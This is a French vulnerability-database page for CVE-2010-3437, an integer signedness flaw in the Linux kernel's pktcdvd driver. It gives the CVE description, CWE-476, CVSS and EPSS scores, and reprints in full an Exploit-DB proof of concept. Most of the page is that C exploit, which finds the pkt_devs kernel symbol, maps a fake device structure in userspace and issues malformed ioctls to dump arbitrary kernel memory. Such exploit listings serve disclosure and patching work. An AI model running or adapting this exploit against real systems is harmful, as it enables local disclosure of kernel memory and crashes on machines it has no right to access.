CVE-2010-3437 Détail

CVE-2010-3437

Catégories

Memory Corruption

EPSS

0.04%V3

Vecteur

Local

Publié

2010-10-04
18h00 +00:00

Modifié

2010-12-10
09h00 +00:00

Liens officiels

CVE.org

NVD

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Descriptions du CVE

Integer signedness error in the pkt_find_dev_from_minor function in drivers/block/pktcdvd.c in the Linux kernel before 2.6.36-rc6 allows local users to obtain sensitive information from kernel memory or cause a denial of service (invalid pointer dereference and system crash) via a crafted index value in a PKT_CTRL_CMD_STATUS ioctl call.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-476	NULL Pointer Dereference The product dereferences a pointer that it expects to be valid but is NULL.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V2	6.6		AV:L/AC:L/Au:N/C:C/I:N/A:C	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 15150

Date de publication : 2010-09-28 22h00 +00:00
Auteur : Jon Oberheide
EDB Vérifié : Yes

/* * cve-2010-3437.c * * Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure * Jon Oberheide <[email protected]> * http://jon.oberheide.org * * Information: * * https://bugzilla.redhat.com/show_bug.cgi?id=638085 * * The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a * pktcdvd_device from the global pkt_devs array. The index into this * array is provided directly by the user and is a signed integer, so the * comparison to ensure that it falls within the bounds of this array will * fail when provided with a negative index. * * Usage: * * $ gcc cve-2010-3437.c -o cve-2010-3437 * $ ./cve-2010-3437 * usage: ./cve-2010-3437 <address> <length> * $ ./cve-2010-3437 0xc0102290 64 * [+] searching for pkt_devs kernel symbol... * [+] found pkt_devs at 0xc086fcc0 * [+] opening pktcdvd device... * [+] calculated dereference address of 0x790070c0 * [+] mapping page at 0x79007000 for pktcdvd_device dereference... * [+] setting up fake pktcdvd_device structure... * [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls... * [+] dumping kmem to output... * * 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ... * 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ... * * Notes: * * Pass the desired kernel memory address and dump length as arguments. * * We can disclose 4 bytes of arbitrary kernel memory per ioctl call by * specifying a large negative device index, causing the kernel to * dereference to our fake pktcdvd_device structure in userspace and copy * data to userspace from an attacker-controlled address. Since only 4 * bytes of kmem are disclosed per ioctl call, large dump sizes may take a * few seconds. * * Tested on Ubuntu Lucid 10.04. 32-bit only for now. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/utsname.h> #include <sys/mman.h> #define DEV_INDEX -300000000 #define PAGE_SIZE 4096 #define PKT_CTRL_CMD_STATUS 2 struct pkt_ctrl_command { uint32_t command; int32_t dev_index; uint32_t dev; uint32_t pkt_dev; uint32_t num_devices; uint32_t padding; }; #define PACKET_IOCTL_MAGIC ('X') #define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command) struct block_device { uint32_t bd_dev; } bd; struct pktcdvd_device { struct block_device *bdev; } pd; #define MINORBITS 20 #define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi)) uint32_t new_decode_dev(uint32_t dev) { unsigned major = (dev & 0xfff00) >> 8; unsigned minor = (dev & 0xff) | ((dev >> 12) & 0xfff00); return MKDEV(major, minor); } const char hex_asc[] = "0123456789abcdef"; #define hex_asc_lo(x) hex_asc[((x) & 0x0f)] #define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4] void hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii) { const uint8_t *ptr = buf; uint8_t ch; int j, lx = 0; int ascii_column; if (rowsize != 16 && rowsize != 32) rowsize = 16; if (!len) goto nil; if (len > rowsize) len = rowsize; if ((len % groupsize) != 0) groupsize = 1; switch (groupsize) { case 8: { const uint64_t *ptr8 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%16.16llx ", (unsigned long long)*(ptr8 + j)); ascii_column = 17 * ngroups + 2; break; } case 4: { const uint32_t *ptr4 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%8.8x ", *(ptr4 + j)); ascii_column = 9 * ngroups + 2; break; } case 2: { const uint16_t *ptr2 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%4.4x ", *(ptr2 + j)); ascii_column = 5 * ngroups + 2; break; } default: for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen; j++) { ch = ptr[j]; linebuf[lx++] = hex_asc_hi(ch); linebuf[lx++] = hex_asc_lo(ch); linebuf[lx++] = ' '; } ascii_column = 3 * rowsize + 2; break; } if (!ascii) goto nil; while (lx < (linebuflen - 1) && lx < (ascii_column - 1)) linebuf[lx++] = ' '; for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++) linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j] : '.'; nil: linebuf[lx++] = '\0'; } void print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii) { const uint8_t *ptr = buf; int i, linelen, remaining = len; unsigned char linebuf[200]; if (rowsize != 16 && rowsize != 32) rowsize = 16; for (i = 0; i < len; i += rowsize) { linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize)); remaining -= rowsize; hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize, linebuf, sizeof(linebuf), ascii); printf("%s\n", linebuf); } } unsigned long get_kernel_symbol(char *name) { FILE *f; unsigned long addr; struct utsname ver; char dummy, sname[512]; int ret, rep = 0, oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { goto fallback; } oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); } else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) { continue; } p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') { p--; } *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); if (rep) { return 0; } fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) { oldstyle = 1; } sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) { return 0; } rep = 1; goto repeat; } void usage(char **argv) { fprintf(stderr, "usage: %s <address> <length>\n", argv[0]); exit(1); } int main(int argc, char **argv) { int fd, ret, length; void *mem, *dump, *ptr; struct pkt_ctrl_command cmd; unsigned long pkt_devs, map_addr, deref_addr; unsigned long start_addr, end_addr, curr_addr; if (argc < 3) { usage(argv); } start_addr = strtoul(argv[1], NULL, 0); length = strtoul(argv[2], NULL, 0); end_addr = start_addr + length; dump = malloc(length); if (!dump) { printf("[-] failed to allocate memory for kmem dump\n"); exit(1); } memset(dump, 0, length); printf("[+] searching for pkt_devs kernel symbol...\n"); pkt_devs = get_kernel_symbol("pkt_devs"); if (!pkt_devs) { printf("[-] could not find pkt_devs kernel symbol\n"); exit(1); } printf("[+] found pkt_devs at %p\n", (void *) pkt_devs); printf("[+] opening pktcdvd device...\n"); fd = open("/dev/pktcdvd/control", O_RDWR); if (fd < 0) { printf("[-] open of pktcdvd device failed\n"); exit(1); } deref_addr = pkt_devs + (DEV_INDEX * sizeof(void *)); map_addr = deref_addr & ~(PAGE_SIZE-1); printf("[+] calculated dereference address of %p\n", (void *) deref_addr); printf("[+] mapping page at %p for pktcdvd_device dereference...\n", (void *) map_addr); mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem == MAP_FAILED) { printf("[-] mmap failed\n"); exit(1); } printf("[+] setting up fake pktcdvd_device structure...\n"); *(unsigned long *) deref_addr = (unsigned long) &pd; printf("[+] dumping kmem from %p to %p via malformed ioctls...\n", (void *) start_addr, (void *) end_addr); memset(&cmd, 0, sizeof(cmd)); cmd.command = PKT_CTRL_CMD_STATUS; cmd.dev_index = DEV_INDEX; ptr = dump; curr_addr = start_addr; while (curr_addr < end_addr) { pd.bdev = (struct block_device *) curr_addr; ret = ioctl(fd, PACKET_CTRL_CMD, &cmd); if (ret < 0) { printf("[-] ioctl of pktcdvd device failed\n"); exit(1); } *(uint32_t *) ptr = (uint32_t) new_decode_dev(cmd.dev); curr_addr += sizeof(uint32_t); ptr += sizeof(uint32_t); } printf("[+] dumping kmem to output...\n"); printf("\n"); print_hex_dump(32, 1, dump, length, 1); printf("\n"); return 0; }